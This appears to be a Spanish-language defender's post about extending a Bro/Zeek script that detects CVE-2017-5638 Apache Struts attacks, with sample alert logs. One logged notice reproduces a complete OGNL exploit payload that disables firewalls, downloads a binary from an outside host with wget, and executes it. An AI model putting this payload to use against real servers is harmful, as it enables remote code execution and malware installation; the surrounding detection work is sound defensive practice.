Amplié el script de Scott Campbell aún más, lo hice más complicado :)

Mientras que "HTTP_StrutsAttack" detendrá el 100% del reconocimiento, todavía existía una probabilidad minúscula de que si un escáner alcanza un sistema vulnerable, aunque bloqueemos al escáner, el sistema vulnerable podría aún así ejecutar el wget incluido en la petición HTTP y ejecutar el malware. Ya que no estamos bloqueando la IP de descarga del malware en la URL del wget, que casi siempre es diferente a la IP de reconocimiento.

Así que el script extendido también extrae la IP de descarga del malware

Generar los siguientes avisos:

 redef enum Notice::Type += {
         Attempt,
         MalwareURL,
         HostileDomainLookup,
         MalwareURLClick,
         FileDownload,
         Compromise,
 };

Así que ahora este script extraerá la URL "wget" de Attempt y luego, si la URL tiene un dominio (o dominio con CNAME), el script rastreará las direcciones IP del host de malware y vigilará la actividad.
si la URL de wget se ve en http, generaríamos un aviso de MalwareURLClick
avisos adicionales para FileDownload y Compromise.
Este script también está clusterizado.

Lo ejecuté durante 24 horas y las cosas parecen estables con respecto al script. Sigo seguro de que podría haber algunos agujeros de detección endebles, así que siéntete libre de modificarlo y avísame también.

Sorprendentemente, a diferencia de ocasiones anteriores, no veo un gran volumen de escáneres de Struts. Estoy viendo un rango de ~20 al día en lugar de ~1 000 al día.

Aquí hay ejemplos de avisos:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -

1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F

CVE-2017-5638_struts

Más Populares